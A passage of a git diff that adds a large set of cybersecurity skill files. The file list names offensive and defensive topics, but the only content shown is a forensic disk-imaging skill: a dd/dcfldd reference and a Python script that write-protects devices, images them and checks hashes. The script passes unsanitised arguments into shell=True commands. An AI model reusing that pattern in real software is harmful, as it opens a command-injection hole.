skills/performing-credential-access-with-lazagne/LICENSE create mode 100644 skills/performing-cryptographic-audit-of-application/LICENSE create mode 100644 skills/performing-csrf-attack-simulation/LICENSE create mode 100644 skills/performing-csrf-attack-simulation/references/api-reference.md create mode 100644 skills/performing-csrf-attack-simulation/scripts/agent.py create mode 100644 skills/performing-cve-prioritization-with-kev-catalog/LICENSE create mode 100644 skills/performing-dark-web-monitoring-for-threats/LICENSE create mode 100644 skills/performing-deception-technology-deployment/LICENSE create mode 100644 skills/performing-deception-technology-deployment/references/api-reference.md create mode 100644 skills/performing-deception-technology-deployment/scripts/agent.py create mode 100644 skills/performing-directory-traversal-testing/LICENSE create mode 100644 skills/performing-directory-traversal-testing/references/api-reference.md create mode 100644 skills/performing-directory-traversal-testing/scripts/agent.py create mode 100644 skills/performing-disk-forensics-investigation/LICENSE create mode 100644 skills/performing-disk-forensics-investigation/references/api-reference.md create mode 100644 skills/performing-disk-forensics-investigation/scripts/agent.py create mode 100644 skills/performing-dmarc-policy-enforcement-rollout/LICENSE create mode 100644 skills/performing-dns-enumeration-and-zone-transfer/LICENSE create mode 100644 skills/performing-dns-enumeration-and-zone-transfer/references/api-reference.md create mode 100644 skills/performing-dns-enumeration-and-zone-transfer/scripts/agent.py create mode 100644 skills/performing-dns-tunneling-detection/LICENSE create mode 100644 skills/performing-dns-tunneling-detection/SKILL.md create mode 100644 skills/performing-dns-tunneling-detection/references/api-reference.md create mode 100644 skills/performing-dns-tunneling-detection/scripts/agent.py create mode 100644 skills/performing-docker-bench-security-assessment/LICENSE create mode 100644 skills/performing-dynamic-analysis-of-android-app/LICENSE create mode 100644 skills/performing-dynamic-analysis-with-any-run/LICENSE create mode 100644 skills/performing-dynamic-analysis-with-any-run/references/api-reference.md create mode 100644 skills/performing-dynamic-analysis-with-any-run/scripts/agent.py create mode 100644 skills/performing-endpoint-forensics-investigation/LICENSE create mode 100644 skills/performing-endpoint-vulnerability-remediation/LICENSE create mode 100644 skills/performing-entitlement-review-with-sailpoint-iiq/LICENSE create mode 100644 skills/performing-entitlement-review-with-sailpoint-iiq/references/api-reference.md create mode 100644 skills/performing-entitlement-review-with-sailpoint-iiq/scripts/agent.py create mode 100644 skills/performing-external-network-penetration-test/LICENSE create mode 100644 skills/performing-false-positive-reduction-in-siem/LICENSE create mode 100644 skills/performing-file-carving-with-foremost/LICENSE create mode 100644 skills/performing-file-carving-with-foremost/references/api-reference.md create mode 100644 skills/performing-file-carving-with-foremost/scripts/agent.py create mode 100644 skills/performing-firmware-malware-analysis/LICENSE create mode 100644 skills/performing-firmware-malware-analysis/references/api-reference.md create mode 100644 skills/performing-firmware-malware-analysis/scripts/agent.py create mode 100644 skills/performing-gcp-security-assessment-with-forseti/LICENSE create mode 100644 skills/performing-gcp-security-assessment-with-forseti/references/api-reference.md create mode 100644 skills/performing-gcp-security-assessment-with-forseti/scripts/agent.py create mode 100644 skills/performing-graphql-depth-limit-attack/LICENSE create mode 100644 skills/performing-graphql-introspection-attack/LICENSE create mode 100644 skills/performing-graphql-security-assessment/LICENSE create mode 100644 skills/performing-graphql-security-assessment/references/api-reference.md create mode 100644 skills/performing-graphql-security-assessment/scripts/agent.py create mode 100644 skills/performing-hash-cracking-with-hashcat/LICENSE create mode 100644 skills/performing-http-parameter-pollution-attack/LICENSE create mode 100644 skills/performing-ics-asset-discovery-with-claroty/LICENSE create mode 100644 skills/performing-indicator-lifecycle-management/LICENSE create mode 100644 skills/performing-initial-access-with-evilginx3/LICENSE create mode 100644 skills/performing-insider-threat-investigation/LICENSE create mode 100644 skills/performing-insider-threat-investigation/references/api-reference.md create mode 100644 skills/performing-insider-threat-investigation/scripts/agent.py create mode 100644 skills/performing-ioc-enrichment-automation/LICENSE create mode 100644 skills/performing-ioc-enrichment-automation/references/api-reference.md create mode 100644 skills/performing-ioc-enrichment-automation/scripts/agent.py create mode 100644 skills/performing-iot-security-assessment/LICENSE create mode 100644 skills/performing-iot-security-assessment/references/api-reference.md create mode 100644 skills/performing-iot-security-assessment/scripts/agent.py create mode 100644 skills/performing-ip-reputation-analysis-with-shodan/LICENSE create mode 100644 skills/performing-jwt-none-algorithm-attack/LICENSE create mode 100644 skills/performing-kerberoasting-attack/LICENSE create mode 100644 skills/performing-kubernetes-cis-benchmark-with-kube-bench/LICENSE create mode 100644 skills/performing-kubernetes-etcd-security-assessment/LICENSE create mode 100644 skills/performing-kubernetes-penetration-testing/LICENSE create mode 100644 skills/performing-lateral-movement-detection/LICENSE create mode 100644 skills/performing-lateral-movement-detection/references/api-reference.md create mode 100644 skills/performing-lateral-movement-detection/scripts/agent.py create mode 100644 skills/performing-lateral-movement-with-wmiexec/LICENSE create mode 100644 skills/performing-linux-log-forensics-investigation/LICENSE create mode 100644 skills/performing-log-analysis-for-forensic-investigation/LICENSE create mode 100644 skills/performing-log-analysis-for-forensic-investigation/references/api-reference.md create mode 100644 skills/performing-log-analysis-for-forensic-investigation/scripts/agent.py create mode 100644 skills/performing-log-source-onboarding-in-siem/LICENSE create mode 100644 skills/performing-malware-hash-enrichment-with-virustotal/LICENSE create mode 100644 skills/performing-malware-ioc-extraction/LICENSE create mode 100644 skills/performing-malware-persistence-investigation/LICENSE create mode 100644 skills/performing-malware-persistence-investigation/references/api-reference.md create mode 100644 skills/performing-malware-persistence-investigation/scripts/agent.py create mode 100644 skills/performing-malware-triage-with-yara/LICENSE create mode 100644 skills/performing-malware-triage-with-yara/references/api-reference.md create mode 100644 skills/performing-malware-triage-with-yara/scripts/agent.py create mode 100644 skills/performing-memory-forensics-with-volatility3-plugins/LICENSE create mode 100644 skills/performing-memory-forensics-with-volatility3/LICENSE create mode 100644 skills/performing-memory-forensics-with-volatility3/references/api-reference.md create mode 100644 skills/performing-memory-forensics-with-volatility3/scripts/agent.py create mode 100644 skills/performing-mobile-app-certificate-pinning-bypass/LICENSE create mode 100644 skills/performing-mobile-device-forensics-with-cellebrite/LICENSE create mode 100644 skills/performing-mobile-device-forensics-with-cellebrite/references/api-reference.md create mode 100644 skills/performing-mobile-device-forensics-with-cellebrite/scripts/agent.py create mode 100644 skills/performing-network-forensics-with-wireshark/LICENSE create mode 100644 skills/performing-network-forensics-with-wireshark/references/api-reference.md create mode 100644 skills/performing-network-forensics-with-wireshark/scripts/agent.py create mode 100644 skills/performing-network-packet-capture-analysis/LICENSE create mode 100644 skills/performing-network-traffic-analysis-with-zeek/LICENSE create mode 100644 skills/performing-nist-csf-maturity-assessment/LICENSE create mode 100644 skills/performing-oauth-scope-minimization-review/LICENSE create mode 100644 skills/performing-oauth-scope-minimization-review/references/api-reference.md create mode 100644 skills/performing-oauth-scope-minimization-review/scripts/agent.py create mode 100644 skills/performing-oil-gas-cybersecurity-assessment/LICENSE create mode 100644 skills/performing-open-source-intelligence-gathering/LICENSE create mode 100644 skills/performing-ot-network-security-assessment/LICENSE create mode 100644 skills/performing-ot-vulnerability-assessment-with-claroty/LICENSE create mode 100644 skills/performing-ot-vulnerability-scanning-safely/LICENSE create mode 100644 skills/performing-packet-injection-attack/LICENSE create mode 100644 skills/performing-packet-injection-attack/references/api-reference.md create mode 100644 skills/performing-packet-injection-attack/scripts/agent.py create mode 100644 skills/performing-paste-site-monitoring-for-credentials/LICENSE create mode 100644 skills/performing-phishing-simulation-with-gophish/LICENSE create mode 100644 skills/performing-physical-intrusion-assessment/LICENSE create mode 100644 skills/performing-plc-firmware-security-analysis/LICENSE create mode 100644 skills/performing-power-grid-cybersecurity-assessment/LICENSE create mode 100644 skills/performing-privilege-escalation-assessment/LICENSE create mode 100644 skills/performing-privilege-escalation-assessment/references/api-reference.md create mode 100644 skills/performing-privilege-escalation-assessment/scripts/agent.py create mode 100644 skills/performing-privilege-escalation-on-linux/LICENSE create mode 100644 skills/performing-privileged-account-access-review/LICENSE create mode 100644 skills/performing-privileged-account-access-review/references/api-reference.md create mode 100644 skills/performing-privileged-account-access-review/scripts/agent.py create mode 100644 skills/performing-privileged-account-discovery/LICENSE create mode 100644 skills/performing-purple-team-exercise/LICENSE create mode 100644 skills/performing-purple-team-exercise/references/api-reference.md create mode 100644 skills/performing-purple-team-exercise/scripts/agent.py create mode 100644 skills/performing-ransomware-incident-response/LICENSE create mode 100644 skills/performing-ransomware-response/LICENSE create mode 100644 skills/performing-ransomware-response/references/api-reference.md create mode 100644 skills/performing-ransomware-response/scripts/agent.py create mode 100644 skills/performing-ransomware-tabletop-exercise/LICENSE create mode 100644 skills/performing-red-team-phishing-with-gophish/LICENSE create mode 100644 skills/performing-red-team-phishing-with-gophish/SKILL.md create mode 100644 skills/performing-red-team-phishing-with-gophish/references/api-reference.md create mode 100644 skills/performing-red-team-phishing-with-gophish/scripts/agent.py create mode 100644 skills/performing-s7comm-protocol-security-analysis/LICENSE create mode 100644 skills/performing-sca-dependency-scanning-with-snyk/LICENSE create mode 100644 skills/performing-scada-hmi-security-assessment/LICENSE create mode 100644 skills/performing-second-order-sql-injection/LICENSE create mode 100644 skills/performing-security-headers-audit/LICENSE create mode 100644 skills/performing-security-headers-audit/references/api-reference.md create mode 100644 skills/performing-security-headers-audit/scripts/agent.py create mode 100644 skills/performing-serverless-function-security-review/LICENSE create mode 100644 skills/performing-serverless-function-security-review/references/api-reference.md create mode 100644 skills/performing-serverless-function-security-review/scripts/agent.py create mode 100644 skills/performing-service-account-audit/LICENSE create mode 100644 skills/performing-service-account-audit/references/api-reference.md create mode 100644 skills/performing-service-account-audit/scripts/agent.py create mode 100644 skills/performing-service-account-credential-rotation/LICENSE create mode 100644 skills/performing-service-account-credential-rotation/references/api-reference.md create mode 100644 skills/performing-service-account-credential-rotation/scripts/agent.py create mode 100644 skills/performing-soap-web-service-security-testing/LICENSE create mode 100644 skills/performing-soap-web-service-security-testing/references/api-reference.md create mode 100644 skills/performing-soap-web-service-security-testing/scripts/agent.py create mode 100644 skills/performing-soc-tabletop-exercise/LICENSE create mode 100644 skills/performing-soc-tabletop-exercise/references/api-reference.md create mode 100644 skills/performing-soc-tabletop-exercise/scripts/agent.py create mode 100644 skills/performing-soc2-type2-audit-preparation/LICENSE create mode 100644 skills/performing-soc2-type2-audit-preparation/references/api-reference.md create mode 100644 skills/performing-soc2-type2-audit-preparation/scripts/agent.py create mode 100644 skills/performing-sqlite-database-forensics/LICENSE create mode 100644 skills/performing-sqlite-database-forensics/references/api-reference.md create mode 100644 skills/performing-sqlite-database-forensics/scripts/agent.py create mode 100644 skills/performing-ssl-certificate-lifecycle-management/LICENSE create mode 100644 skills/performing-ssl-certificate-lifecycle-management/references/api-reference.md create mode 100644 skills/performing-ssl-certificate-lifecycle-management/scripts/agent.py create mode 100644 skills/performing-ssl-stripping-attack/LICENSE create mode 100644 skills/performing-ssl-stripping-attack/references/api-reference.md create mode 100644 skills/performing-ssl-stripping-attack/scripts/agent.py create mode 100644 skills/performing-ssl-tls-inspection-configuration/LICENSE create mode 100644 skills/performing-ssl-tls-inspection-configuration/references/api-reference.md create mode 100644 skills/performing-ssl-tls-inspection-configuration/scripts/agent.py create mode 100644 skills/performing-ssrf-vulnerability-exploitation/LICENSE create mode 100644 skills/performing-ssrf-vulnerability-exploitation/SKILL.md create mode 100644 skills/performing-ssrf-vulnerability-exploitation/references/api-reference.md create mode 100644 skills/performing-ssrf-vulnerability-exploitation/scripts/agent.py create mode 100644 skills/performing-static-malware-analysis-with-pe-studio/LICENSE create mode 100644 skills/performing-static-malware-analysis-with-pe-studio/references/api-reference.md create mode 100644 skills/performing-static-malware-analysis-with-pe-studio/scripts/agent.py create mode 100644 skills/performing-steganography-detection/LICENSE create mode 100644 skills/performing-steganography-detection/references/api-reference.md create mode 100644 skills/performing-steganography-detection/scripts/agent.py create mode 100644 skills/performing-subdomain-enumeration-with-subfinder/LICENSE create mode 100644 skills/performing-subdomain-enumeration-with-subfinder/references/api-reference.md create mode 100644 skills/performing-subdomain-enumeration-with-subfinder/scripts/agent.py create mode 100644 skills/performing-thick-client-application-penetration-test/LICENSE create mode 100644 skills/performing-thick-client-application-penetration-test/references/api-reference.md create mode 100644 skills/performing-thick-client-application-penetration-test/scripts/agent.py create mode 100644 skills/performing-threat-emulation-with-atomic-red-team/LICENSE create mode 100644 skills/performing-threat-emulation-with-atomic-red-team/SKILL.md create mode 100644 skills/performing-threat-emulation-with-atomic-red-team/references/api-reference.md create mode 100644 skills/performing-threat-emulation-with-atomic-red-team/scripts/agent.py create mode 100644 skills/performing-threat-hunting-with-elastic-siem/LICENSE create mode 100644 skills/performing-threat-hunting-with-elastic-siem/references/api-reference.md create mode 100644 skills/performing-threat-hunting-with-elastic-siem/scripts/agent.py create mode 100644 skills/performing-threat-landscape-assessment-for-sector/LICENSE create mode 100644 skills/performing-threat-landscape-assessment-for-sector/references/api-reference.md create mode 100644 skills/performing-threat-landscape-assessment-for-sector/scripts/agent.py create mode 100644 skills/performing-threat-modeling-with-owasp-threat-dragon/LICENSE create mode 100644 skills/performing-threat-modeling-with-owasp-threat-dragon/references/api-reference.md create mode 100644 skills/performing-threat-modeling-with-owasp-threat-dragon/scripts/agent.py create mode 100644 skills/performing-timeline-reconstruction-with-plaso/LICENSE create mode 100644 skills/performing-timeline-reconstruction-with-plaso/references/api-reference.md create mode 100644 skills/performing-timeline-reconstruction-with-plaso/scripts/agent.py create mode 100644 skills/performing-user-behavior-analytics/LICENSE create mode 100644 skills/performing-user-behavior-analytics/references/api-reference.md create mode 100644 skills/performing-user-behavior-analytics/scripts/agent.py create mode 100644 skills/performing-vlan-hopping-attack/LICENSE create mode 100644 skills/performing-vlan-hopping-attack/references/api-reference.md create mode 100644 skills/performing-vlan-hopping-attack/scripts/agent.py create mode 100644 skills/performing-vulnerability-scanning-with-nessus/LICENSE create mode 100644 skills/performing-vulnerability-scanning-with-nessus/references/api-reference.md create mode 100644 skills/performing-vulnerability-scanning-with-nessus/scripts/agent.py create mode 100644 skills/performing-web-application-firewall-bypass/LICENSE create mode 100644 skills/performing-web-application-firewall-bypass/references/api-reference.md create mode 100644 skills/performing-web-application-firewall-bypass/scripts/agent.py create mode 100644 skills/performing-web-application-penetration-test/LICENSE create mode 100644 skills/performing-web-application-penetration-test/references/api-reference.md create mode 100644 skills/performing-web-application-penetration-test/scripts/agent.py create mode 100644 skills/performing-web-application-scanning-with-nikto/LICENSE create mode 100644 skills/performing-web-application-scanning-with-nikto/references/api-reference.md create mode 100644 skills/performing-web-application-scanning-with-nikto/scripts/agent.py create mode 100644 skills/performing-web-application-vulnerability-triage/LICENSE create mode 100644 skills/performing-web-application-vulnerability-triage/scripts/agent.py create mode 100644 skills/performing-web-cache-deception-attack/LICENSE create mode 100644 skills/performing-web-cache-poisoning-attack/LICENSE create mode 100644 skills/performing-web-cache-poisoning-attack/references/api-reference.md create mode 100644 skills/performing-web-cache-poisoning-attack/scripts/agent.py create mode 100644 skills/performing-wifi-password-cracking-with-aircrack/LICENSE create mode 100644 skills/performing-wifi-password-cracking-with-aircrack/references/api-reference.md create mode 100644 skills/performing-wifi-password-cracking-with-aircrack/scripts/agent.py create mode 100644 skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/LICENSE create mode 100644 skills/performing-wireless-network-penetration-test/LICENSE create mode 100644 skills/performing-wireless-security-assessment-with-kismet/LICENSE create mode 100644 skills/performing-yara-rule-development-for-detection/LICENSE create mode 100644 skills/prioritizing-vulnerabilities-with-cvss-scoring/LICENSE create mode 100644 skills/processing-stix-taxii-feeds/LICENSE create mode 100644 skills/processing-stix-taxii-feeds/references/api-reference.md create mode 100644 skills/processing-stix-taxii-feeds/scripts/agent.py create mode 100644 skills/profiling-threat-actor-groups/LICENSE create mode 100644 skills/profiling-threat-actor-groups/references/api-reference.md create mode 100644 skills/profiling-threat-actor-groups/scripts/agent.py create mode 100644 skills/recovering-deleted-files-with-photorec/LICENSE create mode 100644 skills/recovering-deleted-files-with-photorec/references/api-reference.md create mode 100644 skills/recovering-deleted-files-with-photorec/scripts/agent.py create mode 100644 skills/recovering-from-ransomware-attack/LICENSE create mode 100644 skills/remediating-s3-bucket-misconfiguration/LICENSE create mode 100644 skills/remediating-s3-bucket-misconfiguration/references/api-reference.md create mode 100644 skills/remediating-s3-bucket-misconfiguration/scripts/agent.py create mode 100644 skills/reverse-engineering-android-malware-with-jadx/LICENSE create mode 100644 skills/reverse-engineering-android-malware-with-jadx/references/api-reference.md create mode 100644 skills/reverse-engineering-android-malware-with-jadx/scripts/agent.py create mode 100644 skills/reverse-engineering-dotnet-malware-with-dnspy/LICENSE create mode 100644 skills/reverse-engineering-dotnet-malware-with-dnspy/references/api-reference.md create mode 100644 skills/reverse-engineering-dotnet-malware-with-dnspy/scripts/agent.py create mode 100644 skills/reverse-engineering-ios-app-with-frida/LICENSE create mode 100644 skills/reverse-engineering-malware-with-ghidra/LICENSE create mode 100644 skills/reverse-engineering-malware-with-ghidra/references/api-reference.md create mode 100644 skills/reverse-engineering-malware-with-ghidra/scripts/agent.py create mode 100644 skills/reverse-engineering-ransomware-encryption-routine/LICENSE create mode 100644 skills/reverse-engineering-rust-malware/LICENSE create mode 100644 skills/scanning-container-images-with-grype/LICENSE create mode 100644 skills/scanning-containers-with-trivy-in-cicd/LICENSE create mode 100644 skills/scanning-docker-images-with-trivy/LICENSE create mode 100644 skills/scanning-infrastructure-with-nessus/LICENSE create mode 100644 skills/scanning-kubernetes-manifests-with-kubesec/LICENSE create mode 100644 skills/scanning-network-with-nmap-advanced/LICENSE create mode 100644 skills/scanning-network-with-nmap-advanced/references/api-reference.md create mode 100644 skills/scanning-network-with-nmap-advanced/scripts/agent.py create mode 100644 skills/securing-api-gateway-with-aws-waf/LICENSE create mode 100644 skills/securing-api-gateway-with-aws-waf/references/api-reference.md create mode 100644 skills/securing-api-gateway-with-aws-waf/scripts/agent.py create mode 100644 skills/securing-aws-iam-permissions/LICENSE create mode 100644 skills/securing-aws-iam-permissions/references/api-reference.md create mode 100644 skills/securing-aws-iam-permissions/scripts/agent.py create mode 100644 skills/securing-aws-lambda-execution-roles/LICENSE create mode 100644 skills/securing-aws-lambda-execution-roles/references/api-reference.md create mode 100644 skills/securing-aws-lambda-execution-roles/scripts/agent.py create mode 100644 skills/securing-azure-with-microsoft-defender/LICENSE create mode 100644 skills/securing-azure-with-microsoft-defender/references/api-reference.md create mode 100644 skills/securing-azure-with-microsoft-defender/scripts/agent.py create mode 100644 skills/securing-container-registry-images/LICENSE create mode 100644 skills/securing-container-registry-images/references/api-reference.md create mode 100644 skills/securing-container-registry-images/scripts/agent.py create mode 100644 skills/securing-container-registry-with-harbor/LICENSE create mode 100644 skills/securing-github-actions-workflows/LICENSE create mode 100644 skills/securing-helm-chart-deployments/LICENSE create mode 100644 skills/securing-historian-server-in-ot-environment/LICENSE create mode 100644 skills/securing-kubernetes-on-cloud/LICENSE create mode 100644 skills/securing-kubernetes-on-cloud/references/api-reference.md create mode 100644 skills/securing-kubernetes-on-cloud/scripts/agent.py create mode 100644 skills/securing-remote-access-to-ot-environment/LICENSE create mode 100644 skills/securing-serverless-functions/LICENSE create mode 100644 skills/securing-serverless-functions/references/api-reference.md create mode 100644 skills/securing-serverless-functions/scripts/agent.py create mode 100644 skills/testing-android-intents-for-vulnerabilities/LICENSE create mode 100644 skills/testing-api-authentication-weaknesses/LICENSE create mode 100644 skills/testing-api-for-broken-object-level-authorization/LICENSE create mode 100644 skills/testing-api-for-mass-assignment-vulnerability/LICENSE create mode 100644 skills/testing-api-security-with-owasp-top-10/LICENSE create mode 100644 skills/testing-api-security-with-owasp-top-10/references/api-reference.md create mode 100644 skills/testing-api-security-with-owasp-top-10/scripts/agent.py create mode 100644 skills/testing-cors-misconfiguration/LICENSE create mode 100644 skills/testing-cors-misconfiguration/references/api-reference.md create mode 100644 skills/testing-cors-misconfiguration/scripts/agent.py create mode 100644 skills/testing-for-broken-access-control/LICENSE create mode 100644 skills/testing-for-broken-access-control/references/api-reference.md create mode 100644 skills/testing-for-broken-access-control/scripts/agent.py create mode 100644 skills/testing-for-business-logic-vulnerabilities/LICENSE create mode 100644 skills/testing-for-business-logic-vulnerabilities/references/api-reference.md create mode 100644 skills/testing-for-business-logic-vulnerabilities/scripts/agent.py create mode 100644 skills/testing-for-email-header-injection/LICENSE create mode 100644 skills/testing-for-host-header-injection/LICENSE create mode 100644 skills/testing-for-json-web-token-vulnerabilities/LICENSE create mode 100644 skills/testing-for-open-redirect-vulnerabilities/LICENSE create mode 100644 skills/testing-for-sensitive-data-exposure/LICENSE create mode 100644 skills/testing-for-sensitive-data-exposure/references/api-reference.md create mode 100644 skills/testing-for-sensitive-data-exposure/scripts/agent.py create mode 100644 skills/testing-for-xml-injection-vulnerabilities/LICENSE create mode 100644 skills/testing-for-xss-vulnerabilities-with-burpsuite/LICENSE create mode 100644 skills/testing-for-xss-vulnerabilities-with-burpsuite/references/api-reference.md create mode 100644 skills/testing-for-xss-vulnerabilities-with-burpsuite/scripts/agent.py create mode 100644 skills/testing-for-xss-vulnerabilities/LICENSE create mode 100644 skills/testing-for-xss-vulnerabilities/references/api-reference.md create mode 100644 skills/testing-for-xss-vulnerabilities/scripts/agent.py create mode 100644 skills/testing-for-xxe-injection-vulnerabilities/LICENSE create mode 100644 skills/testing-for-xxe-injection-vulnerabilities/references/api-reference.md create mode 100644 skills/testing-for-xxe-injection-vulnerabilities/scripts/agent.py create mode 100644 skills/testing-jwt-token-security/LICENSE create mode 100644 skills/testing-jwt-token-security/references/api-reference.md create mode 100644 skills/testing-jwt-token-security/scripts/agent.py create mode 100644 skills/testing-mobile-api-authentication/LICENSE create mode 100644 skills/testing-oauth2-implementation-flaws/LICENSE create mode 100644 skills/testing-websocket-api-security/LICENSE create mode 100644 skills/tracking-threat-actor-infrastructure/LICENSE create mode 100644 skills/triaging-security-alerts-in-splunk/LICENSE create mode 100644 skills/triaging-security-alerts-in-splunk/references/api-reference.md create mode 100644 skills/triaging-security-alerts-in-splunk/scripts/agent.py create mode 100644 skills/triaging-security-incident-with-ir-playbook/LICENSE create mode 100644 skills/triaging-security-incident/LICENSE create mode 100644 skills/triaging-security-incident/references/api-reference.md create mode 100644 skills/triaging-security-incident/scripts/agent.py create mode 100644 skills/triaging-vulnerabilities-with-ssvc-framework/LICENSE diff --git a/skills/acquiring-disk-image-with-dd-and-dcfldd/LICENSE b/skills/acquiring-disk-image-with-dd-and-dcfldd/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/acquiring-disk-image-with-dd-and-dcfldd/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/acquiring-disk-image-with-dd-and-dcfldd/references/api-reference.md b/skills/acquiring-disk-image-with-dd-and-dcfldd/references/api-reference.md new file mode 100644 index 00000000..a7a24b9c --- /dev/null +++ b/skills/acquiring-disk-image-with-dd-and-dcfldd/references/api-reference.md @@ -0,0 +1,99 @@ +# API Reference: dd and dcfldd Disk Imaging + +## dd - Standard Unix Disk Duplication + +### Basic Syntax +```bash +dd if= of= [options] +``` + +### Key Options +| Flag | Description | Example | +|------|-------------|---------| +| `if=` | Input file (source device) | `if=/dev/sdb` | +| `of=` | Output file (destination image) | `of=evidence.dd` | +| `bs=` | Block size for read/write | `bs=4096` (forensic standard) | +| `count=` | Number of blocks to copy | `count=1024` | +| `skip=` | Skip N blocks from input start | `skip=2048` | +| `conv=` | Conversion options | `conv=noerror,sync` | +| `status=` | Transfer statistics level | `status=progress` | + +### conv= Values +- `noerror` - Continue on read errors (do not abort) +- `sync` - Pad input blocks with zeros on error (preserves offset alignment) +- `notrunc` - Do not truncate output file + +### Output Format +``` +500107862016 bytes (500 GB, 466 GiB) copied, 8132.45 s, 61.5 MB/s +976773168+0 records in +976773168+0 records out +``` + +## dcfldd - DoD Forensic dd + +### Basic Syntax +```bash +dcfldd if= of= [options] +``` + +### Extended Options +| Flag | Description | Example | +|------|-------------|---------| +| `hash=` | Hash algorithm(s) | `hash=sha256,md5` | +| `hashlog=` | File for hash output | `hashlog=hashes.txt` | +| `hashwindow=` | Hash every N bytes | `hashwindow=1G` | +| `hashconv=` | Hash before or after conversion | `hashconv=after` | +| `errlog=` | Error log file | `errlog=errors.log` | +| `split=` | Split output into chunks | `split=2G` | +| `splitformat=` | Suffix format for split files | `splitformat=aa` | +| `vf=` | Verification file | `vf=evidence.dd` | +| `verifylog=` | Verification result log | `verifylog=verify.log` | + +### Output Format +``` +Total (sha256): a3f2b8c9d4e5f6a7b8c9d0e1f2a3b4c5... +1024+0 records in +1024+0 records out +``` + +## sha256sum - Hash Verification + +### Syntax +```bash +sha256sum +sha256sum -c +``` + +### Output Format +``` +a3f2b8c9d4e5f6... /dev/sdb +a3f2b8c9d4e5f6... evidence.dd +``` + +## blockdev - Write Protection + +### Syntax +```bash +blockdev --setro # Set read-only +blockdev --setrw # Set read-write +blockdev --getro # Check: 1=RO, 0=RW +blockdev --getsize64 # Size in bytes +``` + +## lsblk - Block Device Enumeration + +### Syntax +```bash +lsblk -o NAME,SIZE,TYPE,MOUNTPOINT,MODEL,SERIAL,RO +lsblk -J # JSON output +lsblk -p # Full device paths +``` + +## hdparm - Drive Identification + +### Syntax +```bash +hdparm -I # Detailed drive info +hdparm -i # Summary identification +``` diff --git a/skills/acquiring-disk-image-with-dd-and-dcfldd/scripts/agent.py b/skills/acquiring-disk-image-with-dd-and-dcfldd/scripts/agent.py new file mode 100644 index 00000000..76542bbc --- /dev/null +++ b/skills/acquiring-disk-image-with-dd-and-dcfldd/scripts/agent.py @@ -0,0 +1,170 @@ +#!/usr/bin/env python3 +"""Forensic disk image acquisition agent using dd and dcfldd with hash verification.""" + +import subprocess +import hashlib +import os +import sys +import datetime +import json + + +def run_cmd(cmd, capture=True): + """Execute a shell command and return output.""" + result = subprocess.run(cmd, shell=True, capture_output=capture, text=True) + return result.stdout.strip(), result.stderr.strip(), result.returncode + + +def list_block_devices(): + """Enumerate connected block devices.""" + stdout, _, rc = run_cmd("lsblk -J -o NAME,SIZE,TYPE,MOUNTPOINT,MODEL,SERIAL,RO") + if rc == 0 and stdout: + return json.loads(stdout) + return {"blockdevices": []} + + +def check_write_protection(device): + """Verify a device is set to read-only mode.""" + stdout, _, rc = run_cmd(f"blockdev --getro {device}") + if rc == 0: + return stdout.strip() == "1" + return False + + +def enable_write_protection(device): + """Enable software write-blocking on the target device.""" + _, _, rc = run_cmd(f"blockdev --setro {device}") + if rc != 0: + print(f"[ERROR] Failed to set {device} read-only. Run as root.") + return False + if check_write_protection(device): + print(f"[OK] Write protection enabled on {device}") + return True + print(f"[ERROR] Write protection verification failed for {device}") + return False + + +def compute_hash(path, algorithm="sha256", block_size=65536): + """Compute the SHA-256 or MD5 hash of a file or device.""" + h = hashlib.new(algorithm) + try: + with open(path, "rb") as f: + while True: + block = f.read(block_size) + if not block: + break + h.update(block) + except PermissionError: + print(f"[ERROR] Permission denied reading {path}. Run as root.") + return None + except FileNotFoundError: + print(f"[ERROR] Path not found: {path}") + return None + return h.hexdigest() + + +def acquire_with_dd(source, destination, block_size=4096, log_file=None): + """Acquire a forensic image using dd with error handling.""" + cmd = ( + f"dd if={source} of={destination} bs={block_size} " + f"conv=noerror,sync status=progress" + ) + if log_file: + cmd += f" 2>&1 | tee {log_file}" + print(f"[*] Starting dd acquisition: {source} -> {destination}") + print(f"[*] Block size: {block_size}") + start = datetime.datetime.utcnow() + _, stderr, rc = run_cmd(cmd, capture=False) + elapsed = (datetime.datetime.utcnow() - start).total_seconds() + print(f"[*] Acquisition completed in {elapsed:.1f} seconds (rc={rc})") + return rc == 0 + + +def acquire_with_dcfldd(source, destination, hash_alg="sha256", hash_log=None, + error_log=None, block_size=4096, split_size=None): + """Acquire a forensic image using dcfldd with built-in hashing.""" + cmd = f"dcfldd if={source} of={destination} bs={block_size} conv=noerror,sync" + cmd += f" hash={hash_alg}" + if hash_log: + cmd += f" hashlog={hash_log}" + cmd += " hashwindow=1G" + if error_log: + cmd += f" errlog={error_log}" + if split_size: + cmd += f" split={split_size} splitformat=aa" + print(f"[*] Starting dcfldd acquisition: {source} -> {destination}") + start = datetime.datetime.utcnow() + _, stderr, rc = run_cmd(cmd, capture=False) + elapsed = (datetime.datetime.utcnow() - start).total_seconds() + print(f"[*] dcfldd completed in {elapsed:.1f} seconds (rc={rc})") + return rc == 0 + + +def verify_image(source, image_path, algorithm="sha256"): + """Verify image integrity by comparing hashes of source and acquired image.""" + print(f"[*] Computing {algorithm} hash of source: {source}") + source_hash = compute_hash(source, algorithm) + print(f" Source hash: {source_hash}") + print(f"[*] Computing {algorithm} hash of image: {image_path}") + image_hash = compute_hash(image_path, algorithm) + print(f" Image hash: {image_hash}") + if source_hash and image_hash: + match = source_hash == image_hash + status = "PASSED" if match else "FAILED" + 